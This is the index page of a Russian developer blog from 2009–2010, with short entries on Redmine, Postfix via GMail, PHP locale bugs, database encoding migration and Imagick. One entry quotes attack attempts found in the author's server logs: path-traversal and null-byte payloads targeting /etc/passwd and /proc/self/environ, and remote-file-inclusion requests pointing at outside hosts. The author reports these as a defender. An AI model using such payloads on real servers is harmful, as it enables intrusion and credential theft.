Март 21st, 2010 комментариев: 2 »
Решил попробовать что-то отличное от trac для управления проектами. Выбор остановился на redmine. Поднималась для себя как единственного пользователя и на локальной машине, поэтому пока не стал заморачиваться загонять под nginx (стандартные процедуры установки предлагают поставить модулем apache, а у меня его нет).
Read more »
Март 19th, 2010 комментариев: 4 »
Почтовые сервера категорически не хотят принимать письма с локальной машины, из-за отсутствия обратной зоны и даже не кладут эти письма в спам – мочат на корню. Решил использовать GMail в качестве SMTP а для отправки postfix. Приступим.
Read more »
Февраль 28th, 2010 нет комментариев »
Принес мне товарищ ноутбук с вирусом, который при загрузке блокирует все действия и требует отправить SMS для разблокировки. Ну вещь вроде бы довольно распространенная в последнее время, а переустанавливать все заново было жалко времени – решил полечить. Read more »
Февраль 11th, 2010 нет комментариев »
В архиве дамп трех табличек:
- страны
- регионы (с привязкой к стране)
- города (с привязкой к региону и стране)
Кодировка файла UTF-8. Размер архива 4,7Мб. Забирать здесь.
После заливки желательно прицепить ключи:
ALTER TABLE region ADD CONSTRAINT fk_region_ref_country FOREIGN KEY (country_id) REFERENCES country (id) ON DELETE RESTRICT ON UPDATE cascade;
ALTER TABLE city ADD CONSTRAINT fk_city_ref_region FOREIGN KEY (region_id) REFERENCES region (id) ON DELETE RESTRICT ON UPDATE cascade;
ALTER TABLE city ADD CONSTRAINT fk_city_ref_country FOREIGN KEY (country_id) REFERENCES country (id) ON DELETE RESTRICT ON UPDATE cascade;
Февраль 6th, 2010 комментариев: 1 »
На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло – я вовремя нагуглил правильный ответ
Теперь собственно к делу. Вот код и ожидаемый результат его выполнения:
$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3.14
У меня же получился другой вариант, от которого я честно говоря подвис:
$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3,14
Выяснилось что результат зависит от установки локали, у меня стояло: setlocale(LC_ALL, "ru_RU.UTF8"); пока остановился на таком варианте:
PHP у меня 5.2.10, а баг сей я так понимаю тащится аж с 2002 года версии 4.3.0 RC2: Bug #17079 setlocale changes the internal representation of floats
Январь 13th, 2010 комментариев: 1 »
Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev > dump.sql – получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev > data.sql, поменять кодировку полей в схеме, вместо:
name VARCHAR(64) CHARACTER SET cp1251 NOT NULL
сделать
name VARCHAR(64) CHARACTER SET utf8 NOT NULL
или же убрать упоминание кодировки из полей вовсе:
name VARCHAR(64) NOT NULL
так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:
ALTER DATABASE svdev DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci
и залить назад в обратном порядке – сначала структуру, затем данные.
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо – типа tiny просто вынес сначала из проекта, а затем вернул обратно: Read more »
Декабрь 29th, 2009 комментариев: 5 »
Продолжаю серию забавных вещей из логов: Read more »
Декабрь 28th, 2009 комментариев: 2 »
Наконец-то формы стали более дружелюбны к разработчика. Убрали широко используемые до этого addRule() вместо них теперь можно добавлять свои ошибки на поля формы в дополнение к стандартным отсутствие/неверное значение.
Еще из приятных вещей, что можно получить ошибку для конкретного поля, не придумывая для этого замысловатые конструкции (не все же ведь ошибки выводят скопом, некоторые и около полей); появились еще и описания ошибок – дополнительные поля, которые можно использовать (а можно и не использовать) по своему усмотрению.
У PrimitiveList больше нет методов setDefaultAction() и getActualValue – надо просто установить значение setValue(), и оно и будет дефолтным в случае чего, при получении через getChoiceValue().
Read more »
Декабрь 28th, 2009 нет комментариев »
Обнаружил в логах довольно забавную картину по поиску слабых мест
client: 83.168.217.53, server: ***, request: "GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&a=resume&id=846 HTTP/1.0"
Ну и дальше вместо всех переменных пробуем подставлять:
/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00
Что самое интересное – откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.
А вот ходят по другому поводу
client: 203.237.238.234, server: ***, request: "GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"
client: 203.237.238.234, server: ***, request: "GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"
Интересно, что за сканер такой, или руками?
Декабрь 24th, 2009 комментариев: 1 »
В ходе работы выяснилась неприятная вещь – в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение – ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:
- быстрее
- возможность выбора различных фильтров при ресайзе
- ОО интерфейс
- нет необходимости заморачиваться с типами файлов – все уже сделано за нас
- эксепшены вместо ошибок
Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.
Read more »